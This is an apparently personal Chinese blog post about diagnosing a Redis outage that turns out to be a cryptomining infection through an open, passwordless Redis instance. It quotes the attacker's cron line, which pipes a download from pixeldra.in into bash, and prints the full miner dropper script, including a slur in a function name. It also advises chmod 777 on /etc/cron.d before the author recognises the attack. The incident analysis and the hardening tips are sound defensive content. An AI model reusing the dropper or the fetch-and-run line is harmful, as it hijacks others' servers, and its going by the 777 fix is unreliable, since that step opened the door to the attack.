记一次Redis故障的排查

àì夳堔傛蜴生んèń 2022-04-13 13:42 379阅读 0赞

## 背景: ##

最近在公司dev服务器上搭建的redis总会出现异常,需要重启才能正常工作,严重影响开发效率,试图排查解决该问题

## 步骤: ##

### 查看redis配置文件: ###

查看/etc/redis.conf文件

loglevel notice
    logfile /var/log/redis/redis.log

### 查看日志文件: ###

查看 /var/log/redis/redis.log文件  
发现重启前一直出现错误报告

22661:C 29 Nov 16:25:43.078 # Failed opening the RDB file root (in server root dir /etc/cron.d) for saving: Permission denied

推测是rdb设置权限错误导致该问题…

### 修改对应权限: ###

查看对应权限  
/etc/cron.d 目录权限为xxx,修改为777  
该目录用于redis启动AOF持久化定时命令,写入失败导致redis异常

## 问题解决 ##

事后发现 /etc/cron.d 目录下果然多了一个redis生成的root文件,之前是因为无法写入导致redis异常

# 后续: #

神转折,后来看了下写入的是什么文件,发现redis中多了一个键,内容是

*/5 * * * * curl -fsSLk https://pixeldra.in/api/download/nbf6QU | bash

到该网址发现下载了一个文件

#!/bin/bash
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
    getnanoWatch(){
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]
        then
            rm -rf /tmp/nanoWatch*
            wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
                if [ $? -ne 0 -a $PS2 -eq 0 ];
                then
                curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
                fi
        elif [ "$ARCH" == "i386" ]
        then
            rm -rf /tmp/nanoWatch*
            wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
                if [ $? -ne 0 -a $PS2 -eq 0 ];
                then
                curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
                fi
        else
            rm -rf /tmp/nanoWatch*
            wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
                if [ $? -ne 0 -a $PS2 -eq 0 ];
                then
                curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
                fi
        fi
    }
    
    killNiggiz(){
        ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep udevd | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep docker | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep hashvault | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep moneroocean | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep evolutions | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep littletrump | grep -v grep | awk '{print $2}' | xargs kill -9
        ps -ef | grep jboss | grep -v grep | awk '{print $2}' | xargs kill -9
        skill -KILL crypto-pool
        skill -KILL nanopool
        skill -KILL supportxmr
        skill -KILL minexmr
        skill -KILL dwarfpool
        skill -KILL xmrpool
        skill -KILL moneropool
        skill -KILL xmr
        skill -KILL monero
        skill -KILL udevs
        skill -KILL udevd
        skill -KILL docker
        skill -KILL hashvault
        skill -KILL moneroocean
        skill -KILL evolutions
        skill -KILL littletrump
        skill -KILL jboss
    }
    
    killNiggiz
    
    PS2=$(ps aux | grep nanoWatch | grep -v "grep" | wc -l)
    if [ $PS2 -eq 0 ];
    then
        getnanoWatch
    fi
    chmod +x /tmp/nanoWatch
    chmod 777 /tmp/nanoWatch
    if [ $PS2 -eq 0 ];
    then
    /tmp/nanoWatch -o pool.t00ls.ru:19000 -k -B
    fi

特么被通过redis写进了一个挖矿脚本…  
命名也十分搞笑,总之得知问题之后重装了系统,惨痛的代价  
其实还是安全性的问题,之前的redis方便起见所有ip都可以访问,端口是默认的6379,密码为空,导致黑客完全可以写个脚本扫描所有ip的6379端口空密码试图连接这种毫无安全意识的服务器,并向redis中写入一些脚本文件…然后就是为所欲为了  
吸取这次教训修改了redis的默认端口及密码  
在redis.conf下加入如下内容禁止高风险命令的执行

rename-command config ""
    rename-command flushall ""
    rename-command flushdb ""
    rename-command shutdown ""
    rename-command eval ""